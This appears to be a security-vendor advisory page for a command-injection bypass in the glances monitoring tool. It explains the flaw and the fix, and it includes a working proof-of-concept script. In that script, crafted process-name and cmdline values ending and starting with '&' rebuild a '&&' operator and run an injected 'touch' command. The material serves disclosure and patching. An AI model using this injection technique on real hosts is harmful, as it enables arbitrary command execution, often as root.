Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-68518 is a OS Command Injection vulnerability in glances. O3 Security confirms whether CVE-2026-68518 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction

Published
Aug 17, 2026
Updated
Aug 17, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-68518.

Real-World Exposure

1 pkg affected
🐍glances

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Glances action system lets an administrator configure shell commands that run when a monitoring threshold is crossed. The command is a Mustache template whose variables are filled with runtime stat fields such as a process name, a container name or a filesystem mount point. Those fields are attacker-influenceable: a local, unprivileged user who starts a process (or a container) controls its name and command line. The rendered command is executed by secure_popen(), which interprets &&, | and > as chaining / pipe / redirection operators.

glances/actions.py defends against this with _sanitize_mustache_dict(), which strips those operators from each individual template value before rendering. The sanitization is applied per field, but the operators are reconstructed across the boundary of two adjacent template variables after Mustache rendering. When an action template concatenates two unescaped variables ({{{a}}}{{{b}}} or {{&a}}{{&b}}) and the attacker makes the first value end with & and the second begin with &, the rendered command contains a real &&, and secure_popen() executes the injected command. The single-& in each value passes the per-field filter untouched.

Affected versions

glances <= 4.5.5 (verified against the published PyPI release 4.5.5, the latest at the time of writing; glances.__version__ == "4.5.5"). The per-field sanitizer _sanitize_mustache_dict() is present and active in this release. Not patched in any released version.

Privilege required

Two roles are involved:

  • A local, unprivileged user (or a container the attacker can name) supplies the attacker-controlled stat values (process/container name, mount point, etc.). This is the same trust boundary the action-template command-injection class already recognises: the attacker controls the process name, not the configuration.
  • An administrator has configured an action whose command template concatenates two unescaped Mustache variables with no separating character ({{{name}}}{{{cmdline}}}). Unescaped Mustache ({{{ }}} / {{& }}) is a documented Chevron feature and is the natural choice when the operator wants a value that contains shell-significant characters to reach the command verbatim.

No network access to the target host is required beyond the ability to run a process (or start a named container) on it.

Vulnerable code (file:line)

glances/actions.py:25-46 — the per-field sanitizer:

# glances/actions.py:25
_SHELL_OPERATORS = ('&&', '|', '>>', '>')

def _sanitize_mustache_dict(mustache_dict):
    """Return a copy of mustache_dict with shell operators replaced by spaces."""
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            for op in _SHELL_OPERATORS:
                v = v.replace(op, ' ')          # per-field only
            safe[k] = v
        else:
            safe[k] = v
    return safe

glances/actions.py:100-111 — sanitize-then-render-then-execute:

# glances/actions.py:100
for cmd in commands:
    if chevron_tag:
        safe_dict = _sanitize_mustache_dict(mustache_dict)
        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here
    else:
        cmd_full = cmd
    ret = secure_popen(cmd_full)                    # operators interpreted

Root cause

_sanitize_mustache_dict() removes &&, |, >>, > from each value in isolation. It does not remove a lone &, because a single & is not one of the listed operators. When two values are rendered next to each other by chevron.render(), a trailing & from the first value and a leading & from the second value join into a literal && in cmd_full. secure_popen() then cmd.split('&&') and runs the second half as a separate subprocess.Popen (shell=False) process. The same reconstruction works for > written as two adjacent > characters split across the boundary (...> + >... and the >>/> stripping is per field), and the sanitizer's own choice to sanitize before, rather than after, rendering is the defect.

This is an incomplete fix of the action-template command-injection issue (CVE-2026-32608 / GHSA-vcv2-q258-wrg7): _sanitize_mustache_dict() closes the single-field case but not the cross-field-reconstruction case. The correct place to enforce the operator ban is on the fully rendered command string (or by never letting template-variable data introduce operators), not on the pre-render values one at a time.

Chevron HTML-escapes &, <, >, " inside standard double-brace {{ }} sections, so double-brace templates neutralise the && reconstruction. The reconstruction is reachable specifically through unescaped variables ({{{ }}} / {{& }}), which is why the per-field sanitizer is the sole remaining control on that path.

Reachability / How input reaches sink

  1. A local unprivileged user starts a process (or a container) whose name ends with & and whose cmdline begins with & <command> (both are stored verbatim in the plugin stat item).
  2. When the plugin crosses a warning / critical threshold, glances/plugins/plugin/model.py calls self.actions.run with the full stat item passed as the mustache_dict argument.
  3. GlancesActions.run sanitizes each value with _sanitize_mustache_dict() (each keeps its single &), then chevron.render() concatenates the two adjacent unescaped variables, producing a literal && in the command string.
  4. secure_popen(cmd_full) splits on && and runs the attacker's segment as a separate subprocess.Popen(shell=False) process.

The trust boundary crossed is process-name / container-name → shell operator, exactly the boundary the sanitizer was introduced to close.

Reproduction (end-to-end, against pinned version glances==4.5.5)

# 1. Install the latest published release into a clean venv
python3.13 -m venv gv
./gv/bin/pip install "glances==4.5.5"

# 2. Run the reproducer, which drives the real
#    glances.actions.GlancesActions.run() pipeline exactly as
#    glances/plugins/plugin/model.py invokes it on an alert.
./gv/bin/python repro.py

repro.py:

import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions

MARK = "/tmp/glances_crossfield_pwned"
NEG  = MARK + "_neg"
for f in (MARK, NEG):
    try: os.remove(f)
    except FileNotFoundError: pass

class Args:
    time = 0
ga = GlancesActions(args=Args())

# A processlist stat item; a local low-privilege user controls both 'name' and
# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).
# 'name' ends with '&', 'cmdline' begins with '&'  ->  '&&' forms across the boundary.
item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,
        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}

# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are
# neutralised by chevron HTML-escaping '&' -> '&amp;'.
neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item)
time.sleep(0.3)
print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):",
      "INJECTED" if os.path.exists(NEG) else "blocked (expected)")

# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field
# _sanitize_mustache_dict leaves each single '&'; the '&&' operator is
# reconstructed after chevron.render, then split by secure_popen.
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item)
time.sleep(0.5)
print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):",
      "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")

Captured output (glances 4.5.5, Python 3.13, x86_64 Linux):

NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)
POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed

The negative control confirms that the same attacker values under a standard double-brace template are blocked (chevron escapes &). The positive case shows the injected touch executing when the template uses two adjacent unescaped variables: the file /tmp/glances_crossfield_pwned is created by the injected command, not by the intended logger action.

Impact

  • Arbitrary command execution as the OS user running Glances (frequently root on monitored hosts) whenever an operator uses an unescaped, adjacent-variable action template and an attacker controls two neighbouring stat fields.
  • The same reconstruction reaches secure_popen()'s file-redirection (>) and pipe (|) handling, allowing arbitrary file write and output piping in addition to command chaining.
  • The bypass defeats the dedicated _sanitize_mustache_dict() control that was added specifically to stop attacker-controlled stat values from injecting shell operators.

Suggested fix

Enforce the operator ban on the rendered command string that comes from template-variable expansion, rather than on the pre-render values in isolation. One approach that mirrors the existing helper: render each variable, then reject / neutralise operators in the concatenated result, or strip lone &/redirection characters that originate from variable data.

def _sanitize_mustache_dict(mustache_dict):
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            # Neutralise every shell-significant character that secure_popen
            # can interpret, including a lone '&' that could pair with an
            # adjacent variable to reconstruct '&&'.
            for ch in ('&', '|', '>', '<'):
                v = v.replace(ch, ' ')
            safe[k] = v
        else:
            safe[k] = v
    return safe

Neutralising the single & (and the single > / |) in each value removes the cross-field reconstruction because no operator character survives on either side of a variable boundary. Alternatively, sanitize cmd_full after chevron.render(), or pass the template-derived data as secure_popen(..., allow_operators=False) when the command originates from stat-field substitution.

Credit

Reported by tonghuaroot.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIglancesall versions4.5.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update glances to 4.5.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-68518 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-68518 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-68518. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The Glances action system lets an administrator configure shell commands that run when a monitoring threshold is crossed. The command is a Mustache template whose variables are filled with runtime stat fields such as a process name, a container name or a filesystem mount point. Those fields are attacker-influenceable: a local, unprivileged user who starts a process (or a container) controls its name and command line. The rendered command is executed by `secure_popen()`, which interprets `&&`, `|` and `>` as chaining / pipe / redirection operators. `glances/actions.py` defends aga
O3 Security · Impact-Aware SCA

Is CVE-2026-68518 in your dependencies?

O3 detects CVE-2026-68518 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.